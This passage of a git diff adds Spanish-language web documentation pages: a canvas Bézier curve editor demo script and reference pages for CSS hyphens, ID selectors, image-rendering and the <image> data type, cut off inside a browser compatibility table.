+        ctx.beginPath();
+        ctx.strokeStyle = 'red';
+        ctx.moveTo(cX(x1), cY(y1));
+        ctx.lineTo(cX(0), cY(0));
+        ctx.stroke();
+        ctx.closePath();
+        ctx.beginPath();
+        ctx.moveTo(cX(x1), cY(y1));
+        ctx.arc(cX(x1), cY(y1), radius, 0, 2 * Math.PI);
+        ctx.stroke();
+        ctx.fillStyle = 'white';
+        ctx.fill();
+        ctx.closePath();
+
+
+
+        // Draw the P3 point (with a line to P1)
+        ctx.beginPath();
+        ctx.strokeStyle = 'red';
+        ctx.moveTo(cX(x2), cY(y2));
+        ctx.lineTo(cX(1), cY(1));
+        ctx.stroke();
+        ctx.closePath();
+
+        ctx.beginPath();
+        ctx.moveTo(cX(x2), cY(y2));
+        ctx.arc(cX(x2), cY(y2), radius, 0, 2 * Math.PI);
+        ctx.stroke();
+        ctx.fill();
+        ctx.closePath();
+
+        // Draw the P1(1,1) point (with dashed hints)
+        ctx.beginPath();
+        ctx.moveTo(cX(1), cY(1));
+        ctx.strokeStyle = 'lightgrey';
+        ctx.lineTo(cX(0), cY(1));
+        ctx.moveTo(cX(1), cY(1));
+        ctx.lineTo(cX(1), cY(0));
+        ctx.stroke();
+        ctx.closePath();
+
+        ctx.beginPath();
+        ctx.strokeStyle = "black";
+        ctx.fillStyle = "black";
+        ctx.arc(cX(1), cY(1), radius, 0, 2 * Math.PI);
+        ctx.fill();
+        ctx.stroke();
+        ctx.closePath();
+
+
+        // Draw the P0(0,0) point
+        ctx.beginPath();
+        ctx.arc(cX(0), cY(0), radius, 0, 2 * Math.PI);
+        ctx.fill();
+        ctx.stroke();
+        ctx.closePath();
+
+
+    } else {
+        alert('You need Safari or Firefox 1.5+ to see this demo.');
+    }
+}
+
+function mouseDown(e) {
+
+    var canvas = document.getElementById('bezier');
+
+    var x1 = cX(document.getElementById('x1').value);
+    var y1 = cY(document.getElementById('y1').value);
+
+    var x = e.pageX - canvas.offsetLeft;
+    var y = e.pageY - canvas.offsetTop;
+
+    var output = document.getElementById('output');
+    output.value = "(" + x + "," + y + ") should be (" + x1 + "," + y1 + ")";
+
+
+    if ((x1 + radius &gt;= x) &amp;&amp; (x1 - radius &lt;= x) &amp;&amp; (y1 + radius &gt;= y) &amp;&amp; (y1 - radius &lt;= y)) {
+        var output = document.getElementById('output');
+        output.value = "P1!";
+        dragSM = 1;
+    }
+
+    var x2 = cX(document.getElementById('x2').value);
+    var y2 = cY(document.getElementById('y2').value);
+
+    if ((x2 + radius &gt;= x) &amp;&amp; (x2 - radius &lt;= x) &amp;&amp; (y2 + radius &gt;= y) &amp;&amp; (y2 - radius &lt;= y)) {
+        var output = document.getElementById('output');
+        output.value = "P2!";
+        dragSM = 2;
+    }
+
+    // If we are starting a drag
+    if (dragSM != 0) {
+        canvas.onmousemove = mouseMove;
+    }
+}
+
+function mouseUp(e) {
+
+    var output = document.getElementById('output');
+    output.value = "Mouse up!";
+    dragSM = 0;
+    canvas.onmousemove = null;
+}
+
+function mouseMove(e) {
+    if (dragSM != 0) {
+        var canvas = document.getElementById('bezier');
+
+        var x = e.pageX - canvas.offsetLeft;
+        var y = e.pageY - canvas.offsetTop;
+
+        var output = document.getElementById('output');
+        output.value = "Drag!";
+
+        if (dragSM == 1) {
+            var x1 = document.getElementById('x1');
+            var y1 = document.getElementById('y1');
+            x1.value = reverseX(x);
+            x1.value = Math.round(x1.value * 10000) / 10000;
+            y1.value = reverseY(y);
+            y1.value = Math.round(y1.value * 10000) / 10000;
+            if (x1.value &lt; 0) { x1.value = 0; }
+            if (x1.value &gt; 1) { x1.value = 1; }
+        } else if (dragSM == 2) {
+            var x2 = document.getElementById('x2');
+            var y2 = document.getElementById('y2');
+            x2.value = reverseX(x);
+            x2.value = Math.round(x2.value * 10000) / 10000;
+            y2.value = reverseY(y);
+            y2.value = Math.round(y2.value * 10000) / 10000;
+            if (x2.value &lt; 0) { x2.value = 0; }
+            if (x2.value &gt; 1) { x2.value = 1; }
+        }
+        updateCanvas();
+    }
+}
+
+initCanvas();
+updateCanvas();
+     </pre>
+</div>
+
+<p>{{draft}}</p>
+
+<p>Esta es una herramienta de ejemplo que te permitirá editar y ver de manera gráfica una curva de Bézier. Esta no es una herramienta realmente útil, pero ¡lo será!</p>
+
+<p>{{EmbedLiveSample("Tool", 1000, 2000)}}</p>
+</div>
+
+<p> </p>
diff --git a/files/es/web/css/herramientas/index.html b/files/es/web/css/herramientas/index.html
new file mode 100644
index 0000000000..59cd1febfa
--- /dev/null
+++ b/files/es/web/css/herramientas/index.html
@@ -0,0 +1,28 @@
+---
+title: Herramientas
+slug: Web/CSS/Herramientas
+tags:
+  - CSS
+translation_of: Web/CSS/Tools
+---
+<div> </div>
+
+<p><span id="result_box" lang="es"><span>CSS</span> <span>ofrece una serie de</span> <span>características poderosas</span> <span>que puede ser</span> <span>difíciles de usar</span><span>,</span> <span>o tener un gran</span> <span>número de</span> <span>parámetros, por lo</span> <span>que es</span> <span>muy útil</span> <span>visualizarlos</span> <span>mientras se trabaja en</span> <span>ellos.</span> <span>Esta página</span> <span>ofrece</span> <span>enlaces a</span> <span>una serie de herramientas</span> <span>que</span> <span>le ayudarán a construir sus estilos usando estas caracteristicas</span><span>.</span></span></p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<h2 id="Otras_herramientas">Otras herramientas</h2>
+
+<ul>
+ <li>
+  <h4 id="Animación_CSS_-_Stylie">Animación CSS - <a href="http://jeremyckahn.github.io/stylie/">Stylie</a></h4>
+ </li>
+ <li><span id="result_box" lang="es"><span>Para</span> <span>comprobar la información de</span> <span>la pantalla del dispositivo</span></span> (helpful in {{Glossary("responsive web design")}}) - <a href="http://mydevice.io">mydevice.io</a></li>
+ <li>Menus CSS- <a href="http://cssmenumaker.com/">cssmenumaker.com</a></li>
+</ul>
+
+<h2 id="Temas_relacionados">Temas relacionados</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a></li>
+</ul>
diff --git a/files/es/web/css/hyphens/index.html b/files/es/web/css/hyphens/index.html
new file mode 100644
index 0000000000..98669f5e30
--- /dev/null
+++ b/files/es/web/css/hyphens/index.html
@@ -0,0 +1,148 @@
+---
+title: hyphens
+slug: Web/CSS/hyphens
+translation_of: Web/CSS/hyphens
+---
+<div>{{CSSRef}}</div>
+
+<div>La propiedad <a href="/es/docs/Web/CSS">CSS</a> <strong><code>hyphens</code></strong> especifica cómo deben dividirse las palabras cuando el texto se ajusta a través de múltiples líneas. Puede impedir la separación de sílabas por completo, usar guiones manualmente en puntos específicos del texto o dejar que el navegador inserte los guiones automáticamente donde corresponda.</div>
+
+<div></div>
+
+<div>{{EmbedInteractiveExample("pages/css/hyphens.html")}}</div>
+
+
+
+<p>Las reglas de separación silábica son específicas del idioma. En HTML, el idioma es determinado por el atributo <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> y los navegadores separarán únicamente si este atributo está presente y si existe un diccionario de separación silábica adecuado. En XML debe usarse el atributo <code><a href="/en-US/docs/Web/SVG/Attribute/xml:lang">xml:lang</a>.</code></p>
+
+<div class="note">
+<p><strong>Nota:</strong> Las reglas que definen cómo se realiza la separación de sílabas no están explícitamente definidas por la especificación, por lo que esta puede variar de un navegador a otro.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* Keyword values */
+hyphens: none;
+hyphens: manual;
+hyphens: auto;
+
+/* Global values */
+hyphens: inherit;
+hyphens: initial;
+hyphens: unset;
+</pre>
+
+<p>La propiedad <code>hyphens</code> se especifica con una única palabra de la lista a continuación.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Las palabras no se separan en los finales de línea, incluso si las letras dentro de las palabras sobrepasan el final de la línea. Las líneas solo se distribuyen en el espacio en blanco.</dd>
+ <dt><code>manual</code></dt>
+ <dd>Las palabras se separan para el ajuste de línea sólo cuando los caracteres dentro de la palabra sugieren oportunidades de salto de línea. Ver {{anch("Sugiriendo oportunidades de separación de línea")}} más abajo para detalle.</dd>
+ <dt><code>auto</code></dt>
+ <dd>El navegador es libre de separar palabras en puntos de separación apropiados, siguiendo cualquiera de las reglas elegidas. Sin embargo, las oportunidades de separación de línea (ver {{anch("Sugiriendo oportunidades de separación de línea")}} más abajo) anularán la separación automática cuando exista.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota:</strong> El comportamiento del valor <code>auto</code> dependerá de que el idioma esté bien etiquetado de manera que las reglas de separación silábica puedan ser seleccionadas. Se debe especificar el idioma con el atributo <code>lang</code> de HTML de cara a garantizar que la separación silábica automática se aplique en ese idioma.</p>
+</div>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Sugiriendo_oportunidades_de_separación_de_línea">Sugiriendo oportunidades de separación de línea</h2>
+
+<p>Hay dos caracteres Unicode que pueden ser usados manualmente para especificar un potencial punto de separación de línea dentro del texto:</p>
+
+<dl>
+ <dt>U+2010 (HYPHEN)</dt>
+ <dd>El carácter "fuerte" de separación de línea indica una oportunidad de separación visible. Incluso si la línea no está realmente separada en ese momento, se muestra el guión.</dd>
+ <dt>U+00AD (SHY)</dt>
+ <dd>Un carácter invisible y "suave" de separación de línea. Este carácter no se renderiza de manera visible; en lugar de ello, indica la posición en la que el navegador debería separar la palabra en caso de requerir separación de línea. En HTML puedes usar <code>&amp;shy;</code> para insertar una separación "suave".</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo usa tres clases, una por cada posible configuración de la propiedad <code>hyphens</code>.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;code&gt;none&lt;/code&gt;: sin separación; se desbordará si es preciso
+    &lt;p lang="es" class="none"&gt;Una extrema&amp;shy;damente larga palabra&lt;/p&gt;
+  &lt;/li&gt;
+  &lt;li&gt;&lt;code&gt;manual&lt;/code&gt;: separación sólo en &amp;amp;hyphen; o &amp;amp;shy; (si fuera necesario)
+    &lt;p lang="es" class="manual"&gt;Una extrema&amp;shy;damente larga palabra&lt;/p&gt;
+  &lt;/li&gt;
+  &lt;li&gt;&lt;code&gt;auto&lt;/code&gt;: separará donde decida el algoritmo (si fuera necesario)
+    &lt;p lang="enes class="auto"&gt;Una extrema&amp;shy;damente larga palabra&lt;/p&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  width: 55px;
+  border: 1px solid black;
+ }
+p.none {
+  -webkit-hyphens: none;
+  -ms-hyphens: none;
+  hyphens: none;
+}
+p.manual {
+  -webkit-hyphens: manual;
+  -ms-hyphens: manual;
+  hyphens: manual;
+}
+p.auto {
+  -webkit-hyphens: auto;
+  -ms-hyphens: auto;
+  hyphens: auto;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<figure>
+<p>{{EmbedLiveSample("Example", "100%", 490)}}</p>
+</figure>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Text", "#hyphens-property", "hyphens")}}</td>
+   <td>{{Spec2("CSS3 Text")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.hyphens")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Cssxref("content")}}</li>
+</ul>
diff --git a/files/es/web/css/id_selectors/index.html b/files/es/web/css/id_selectors/index.html
new file mode 100644
index 0000000000..0f7f177d2f
--- /dev/null
+++ b/files/es/web/css/id_selectors/index.html
@@ -0,0 +1,85 @@
+---
+title: Selectores de ID
+slug: Web/CSS/ID_selectors
+tags:
+  - CSS
+  - Referencia
+  - Referencia CSS
+  - Selectores
+translation_of: Web/CSS/ID_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p>En un documento HTML, los <strong>selectores de ID</strong> de CSS buscan un elemento basado en el contenido del atributo {{htmlattrxref("ID")}}. El atributo <code>ID</code> del elemento seleccionado debe coincidir exactamente con el valor dado en el selector.</p>
+
+<pre class="brush: css no-line-numbers">/* El elemento con id="demo" */
+#demo {
+  border: red 2px solid;
+}</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">#id_value { <em>style properties</em> }</pre>
+
+<p>Nótese que esto es equivalente al siguiente {{Cssxref("Attribute_selectors", "attribute selector")}}:</p>
+
+<pre class="syntaxbox">[id=id_value] { <em>style properties</em> }</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#identified {
+  background-color: skyblue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="identified"&gt;¡Este div tiene un ID especial!&lt;/div&gt;
+&lt;div&gt;Este solo es un div regular.&lt;/div&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplo", '100%', 50)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#id-selectors", "ID selectors")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#id-selectors", "ID selectors")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "selector.html#id-selectors", "ID selectors")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#id-as-selector", "ID selectors")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.selectors.id")}}</p>
diff --git a/files/es/web/css/image-rendering/index.html b/files/es/web/css/image-rendering/index.html
new file mode 100644
index 0000000000..98dae57cdc
--- /dev/null
+++ b/files/es/web/css/image-rendering/index.html
@@ -0,0 +1,108 @@
+---
+title: image-rendering
+slug: Web/CSS/image-rendering
+translation_of: Web/CSS/image-rendering
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>image-rendering</code></strong> provee una sugerencia al navegador acerca del algoritmo que debe usar para escalar imágenes.</p>
+
+<pre class="brush:css no-line-numbers">/* Keyword values */
+image-rendering: auto;
+image-rendering: crisp-edges;
+image-rendering: pixelated;
+
+/* Global values */
+image-rendering: inherit;
+image-rendering: initial;
+image-rendering: unset;</pre>
+
+<p>Esta propiedad aplica tanto al elemento mismo, como a cualquier imagen provista en otra propiedad del elemento. No tiene efecto alguno en imágenes no-escaladas. Por ejemplo, si el tamaño natural de una imágen es <em>100×100px pero el autor de la página especifica sus dimenciones como </em> <code>200×200px</code> (o <code>50×50px</code>), entonces la imágen se escalará (en cualquiér dirección) a sus nuevas dimensiones usando el algoritmo especificado. El escalado podría también aplicar por interacción del usuario (cambiando la escala).</p>
+
+<div class="note">
+<p>Un Canvas puede proveer una <a href="http://phrogz.net/tmp/canvas_image_zoom.html">solución de respaldo para crisp-edge/optimize-contrast</a> a través de la manipulación manual de datos de la imagen.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code><strong>auto</strong></code></dt>
+ <dd><span class="notranslate">Valor predeterminado, la imagen debe escalarse con un algoritmo que maximice la apariencia de la imagen</span>. En particular, son aceptables los algoritmos de escala que "suavizan" colores, como la interpolación bilinear. So propósito son imágenes de fotografías. Desde la versión 1.9 (Firefox 3.0), Gecko usa<span class="notranslate"> remuestreo</span><em> bilinear</em> (alta calidad).</dd>
+</dl>
+
+<dl>
+ <dt><code><strong>crisp-edges</strong></code></dt>
+ <dd><span class="notranslate">La imagen se debe escalar con un algoritmo que preserve el contraste y los bordes de la imagen, y que no suavice los colores ni introduzca borrones en la imagen en el proceso.</span> <span class="notranslate"> Los algoritmos adecuados incluyen algoritmos de escalamiento <em>nearest-neighbor</em> y otros algoritmos de escalabilidad tales como algoritmos <em>2×SaI</em> y <em>hqx-family</em>.</span> <span class="notranslate"> Este valor está destinado a imágenes pixel-art, como en juegos de navegador.</span></dd>
+ <dt><code><strong>pixelated</strong></code></dt>
+ <dd><span class="notranslate">Al escalar la imagen, se debe usar el algoritmo de vecino más cercano, de modo que la imagen parezca estar compuesta de píxeles grandes.</span> <span class="notranslate"> Cuando se reduce la escala, esto es lo mismo que 'auto'.</span></dd>
+</dl>
+
+<div class="note"><strong>Nota:</strong> Los valores <code>optimizeQuality</code> y <code>optimizeSpeed</code> presentes en un borrador anterior (y proviniendo de su contraparte SVG) son definidos como sinónimos del valor <code>auto</code>.</div>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css;">/* aplica a imágenes GIF y PNG; eviar bordes borrosos */
+img[src$=".gif"], img[src$=".png"] {
+  image-rendering: crisp-edges;
+}
+</pre>
+
+<pre class="brush:css;">div {
+  background: url(chessboard.gif) no-repeat 50% 50%;
+  image-rendering: crisp-edges;
+}</pre>
+
+<h3 id="Ejemplos_interactivos">Ejemplos interactivos</h3>
+
+<h4 id="image-rendering_auto">image-rendering: auto;</h4>
+
+<p style="image-rendering: auto;">78% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 39px; width: 39px;"> 100% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 50px; width: 50px;"> 138% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 69px; width: 69px;"> downsized <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style="height: 89px; width: 89px;"> upsized <img alt="blumen.jpg" src="/@api/deki/files/3611/=blumen.jpg" style="height: 89px; width: 77px;"></p>
+
+<h4 id="image-rendering_pixelated_(-ms-interpolation-mode_nearest-neighbor)">image-rendering: pixelated; (-ms-interpolation-mode: nearest-neighbor)</h4>
+
+<p style="-ms-interpolation-mode: nearest-neighbor; image-rendering: pixelated;">78% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 39px; width: 39px;"> 100% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 50px; width: 50px;"> 138% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 69px; width: 69px;"> downsized <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style="height: 89px; width: 89px;"> upsized <img alt="blumen.jpg" src="/@api/deki/files/3611/=blumen.jpg" style="height: 89px; width: 77px;"></p>
+
+<h4 id="image-rendering_crisp-edges_(-webkit-optimize-contrast)">image-rendering: crisp-edges; (-webkit-optimize-contrast)</h4>
+
+<p style="image-rendering: -webkit-optimize-contrast; image-rendering: -moz-crisp-edges; image-rendering: -o-crisp-edges; image-rendering: crisp-edges;">78% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 39px; width: 39px;"> 100% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 50px; width: 50px;"> 138% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 69px; width: 69px;"> downsized <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style="height: 89px; width: 89px;"> upsized <img alt="blumen.jpg" src="/@api/deki/files/3611/=blumen.jpg" style="height: 89px; width: 77px;"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-image-rendering', 'image-rendering')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota:</strong> Aunque similar al atributo SVG {{svgattr("image-rendering")}}, los valores son bastante diferentes ahora.</p>
+</div>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("css.properties.image-rendering")}}</p>
+
+<p> </p>
diff --git a/files/es/web/css/image/index.html b/files/es/web/css/image/index.html
new file mode 100644
index 0000000000..de998cc146
--- /dev/null
+++ b/files/es/web/css/image/index.html
@@ -0,0 +1,209 @@
+---
+title: <image>
+slug: Web/CSS/image
+tags:
+  - Gráfico
+  - Imagen CSS
+  - Tipo de Dato CSS
+translation_of: Web/CSS/image
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p class="seoSummary">El tipo de dato <a href="/es/docs/Web/CSS">CSS</a> <code>&lt;image&gt;</code> representa una imagen 2D. Hay dos tipos de imágenes en CSS: imágenes planas estáticas, generalmente referenciadas usando una URL, e imágenes dinámicamente generadas, como degradados o representaciones de partes del árbol.</p>
+
+<p>CSS puede manejar diferentes tipos de imágenes:</p>
+
+<ul>
+ <li>imágenes con <em>dimensiones intrínsecas</em>, es decir, su tamaño natural, como una imagen jpeg que tiene dimensiones fijas.</li>
+ <li>imágenes con <em>varias dimensiones intrínsecas</em>, que coexisten en distintas versiones dentro de un archivo, com algunos formatos .ico. En ese caso, la dimensión intrínseca será la de la imagen con área más grande, y con la proporción más próxima al tamaño del contenedor.</li>
+ <li>imágenes sin dimensiones intrínsecas, pero con <em>una relación de aspecto intrínseca</em>, entre su anchura y altura, como algunas imágenes vectorizadas, en formato SVG, por ejemplo.</li>
+ <li id="no_intrinsic">imágenes <em><a>sin dimensiones intrínsecas</a>, ni relación de aspecto intrínseca</em>, como un degradado CSS, por ejemplo.</li>
+</ul>
+
+<p>CSS determina el <em>tamaño concreto del objeto</em> usando estas <em>dimensiones intrínsecas</em>, el <em>tamaño específico </em>en propiedades CSS como {{cssxref("width")}}, {{cssxref("height")}} o {{cssxref("background-size")}}, y el <em>tamaño predeterminado del objeto</em> definido por el tipo de propiedad con el que se usa la imagen:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Tipo de objeto</th>
+   <th>Tamaño de objeto predeterminado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{cssxref("background-image")}}</td>
+   <td>El tamaño del área de posicionamiento de fondo de la imagen</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("list-style-image")}}</td>
+   <td>El tamaño de un caracter de <code>1em</code></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-image")}}</td>
+   <td>El tamaño del área de imagen de borde de un elemento</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("cursor")}}</td>
+   <td>Un tamaño definido por el navegador que coincida con el tamaño común de un cursor en el sistema en uso</td>
+  </tr>
+  <tr>
+   <td>Contenido reemplazado<br>
+    como cuando se combina la propiedad CSS {{cssxref("content")}}<br>
+    con los pseudo-elementos CSS {{cssxref("::after")}} y {{cssxref("::before")}}</td>
+   <td>Un rectángulo de <code>300px × 150px</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>El tamaño concreto del objeto es calculado usando los siguientes algoritmos:</p>
+
+<ul>
+ <li>Si el tamaño específico define tanto anchura como altura, estos valores son usados como el tamaño concreto del objeto.</li>
+ <li>Si el tamaño específico define solo anchura o solo altura, el valor faltante es determinado usando la proporción intrínseca (si la hay), las dimensiones intrínsecas (si el valor especificado coincide), o usando el tamaño predeterminado del objeto para ese valor faltante.</li>
+ <li>Si el valor especificado no define anchura ni altura, el tamaño concreto del objeto será calculado de modo que coincida con la relación de aspecto intrínseca de las imágenes, pero sin exceder el tamaño predeterminado en cualquiera de sus dimensiones. Si la imagen no tiene relación de aspecto intrínseca, se usará la del objeto al que se está aplicando; si el objeto no tiene ninguna, la anchura o altura faltante se tomará del tamaño predeterminado del objeto.</li>
+</ul>
+
+<p>Las imágenes pueden ser usadas en numerosas propiedades CSS, como {{cssxref("background-image")}}, {{cssxref("border-image")}}, {{cssxref("content")}}, {{cssxref("list-style-image")}} o {{cssxref("cursor")}}.</p>
+
+<div class="note"><strong>Nota:</strong> No todos los navegadores soportan algun tipo de imagen o alguna propiedad. Vea la sección de <a href="#Compatibilidad_de_navegadores">compatibilidad de navegadores</a> para una lista detallada.</div>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<p>La representación de un tipo de dato CSS <code>&lt;image&gt;</code> puede ser una de las siguientes:</p>
+
+<ul>
+ <li>Una imagen denotada por un tipo de dato {{cssxref("&lt;uri&gt;")}} y la función <code>url()</code>;</li>
+ <li>Un degradado CSS ({{cssxref("&lt;gradient&gt;")}});</li>
+ <li>Una parte de la página, definida por la función {{cssxref("element", "element()")}}.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Estos son valores válidos para imágenes:</p>
+
+<pre class="brush:css example-good">url(test.jpg)                          /* La función url(), mientras test.jpg sea una imagen */
+linear-gradient(to bottom, blue, red)  /* Un degradado (&lt;gradient&gt;) */
+element(#colonne3)                     /* Una párte de la página, usando la función element(),
+                                          mientras colonne3 sea un identificador CSS existente en la página. */
+</pre>
+
+<p>Estos son valores incorrectos para imágenes:</p>
+
+<pre class="brush:css example-bad">cervin.jpg                             /* Un archivo de imagen debe ser definido usando la función url(). */
+url(report.pdf)                        /* El archivo indicado en la función url() debe ser una imagen. */
+element(#fakeid)                       /* Si 'fakeid' no es un identificador CSS existente en la página. */
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#typedef-image', '&lt;image&gt;')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>
+    <p>Antes de <a href="/es/docs/Web/CSS/CSS3">CSS3</a>, no había un tipo de dato <code>&lt;image&gt;</code> definido. Las imágenes solo podían ser definidas usando notaciones funcionales <code>url()</code>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td><code>&lt;uri&gt;</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;gradient&gt;</code></td>
+   <td>{{CompatVersionUnknown}}<br>
+    limited to {{cssxref("background-image")}} &amp; {{cssxref("background")}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>IE 10{{property_prefix("-ms")}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-o")}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>element()</code></td>
+   <td>4.0 (2.0) limited to {{cssxref("background-image")}} &amp; {{cssxref("background")}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><code>&lt;uri&gt;</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;gradient&gt;</code></td>
+   <td>{{CompatVersionUnknown}}<br>
+    limited to {{cssxref("background-image")}} &amp; {{cssxref("background")}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
